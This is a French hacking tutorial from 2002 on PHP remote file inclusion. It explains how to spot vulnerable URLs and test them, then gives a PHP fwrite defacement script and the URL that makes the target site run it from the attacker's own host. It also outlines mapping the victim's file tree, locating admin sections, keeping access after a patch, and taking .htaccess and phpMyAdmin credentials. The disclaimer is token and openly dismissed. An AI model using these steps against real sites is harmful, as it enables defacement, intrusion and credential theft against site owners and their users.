Faille d'include

 

Presentation & exploitation 

Prélude :
La faille d'include est très courante et tout le monde sait l'exploiter, je ne ferais donc ici qu'un rappel.
Pour mémoire, il est interdit d'utiliser cette faille pour modifier/détruire un site web, on l'expose ici uniquement à titre informatif. Si toutefois vous avez en tête de faire portenawak, nous ne sommes pas en mesure de vous en empêcher, donc pardon aux familles et tout ça

Introduction :
La faille d'include est une erreur de programmation, on la retrouve sur un grand nombre de site en php, elle consiste pour le webmaster à inclure une page dans une autre par un appel de variable. Mais si le webmaster n'y prend pas garde, cette fonction fera trop bien son role et vous permettra d'inclure dnas son site une page provenant d'un autre site. Quel interet me direz vous, voir google sans images sur une autre adresse est guère interessant. Détrompez vous car il est à notre que si l'on execute un inlude d'un script php distant, celui-ci s'executera sur le site hébergeant.

Trouver la faille :
Sur un site ou vous surfez d'habitude ou via google par une recherche, vous tombez parfois sur des sites contenant des url de ce type :

page.php?inc=accueil

bien sur la variable inc peut se nommer autrement, de même que la page ou la valeur de la variable, à dire vrai c'est la forme qui nous interesse. Une fois un tel site trouvé, il suffit de faire un test, en gardant notre exemple ci dessus ca donnerait :

http://www.domaine.ext/page.php?inc=http://www.google.fr

Si google s'affiche dans le site, bingo!

Si vous avez une erreur php, ça risque de ne pas être si simple, mais ce n'est pas ininteressant non plus, regardez l'erreur et tentez d'imaginer le code derrière, si erreur il y à c'est que potentielement le webmaster à hômis quelque chose.
Si vous avez toujours la page par défaut ou une page d'erreur ou une page vide. Raté, le webmaster est plus malin que ça trouvez un autre site.


Exploitation de la faille :

1). Méthode fwrite()...
Cette méthode consiste à 'defacer' une page ... index.php par exemple, et y inserer ce que l'on veut. Pour se faire, sur un fichier en local, tapez un code php de ce genre.

$fp=fopen("la_page_que_tu_veux.php", w);
$msg="tape ici le message a inserer en entete de site";
fwrite($fp,$msg);
fclose($fp);
?>

Mettez cette page sur votre serveur local ou sur un compte multimania, et comme precedement, appelé la par son url en variable :

http://www.domaine.ext/page.php?inc=http://www.votresite.com/hack.php

ceci étant fait, relancez la page d'accueil du site, si la phase precedente n'a pas inscrit d'erreur, vous devriez avoir votre message en entete du site. libre à vous d'y mettre du html, sur le principe c'est ça.

2). methode exploration...

Cette méthode est bien sympa mais demande de grandes connaissances en php, je ne donnerait pas de code ici, mais simplement un concept.

Le but est d'écrire un script qui va lister les repertoires et fichiers de facon recusive. Ainsi vous aurez de visu l'arbo du site. Ensuite libre a vous d'y integrer un editeur en ligne, sachez que si vous effectué un fgets() sur un fichier local, celui ci vous renvera le code php et non la page compilé. A vous de jouer pour fabriquer un éditeur en ligne.

l'interet de cette methode est aussi de recuperer la liste des dossier pour y trouver la section d'admin si bien sur il y en a une afin de pouvoir revenir plus tard meme si la aille est réparée. De même, vous pourrez recuperer les acces .htaccess, phpmyadmin, ou autre si les scripts se trouvent sur le site

 
À vous de jouer maintenant

Article écrit par www.sheep-team.org le 29/11/2002 (encore que je l'ai vu sur bcp de site, donc je ne sais pas qui a copié sur qui mais bon...)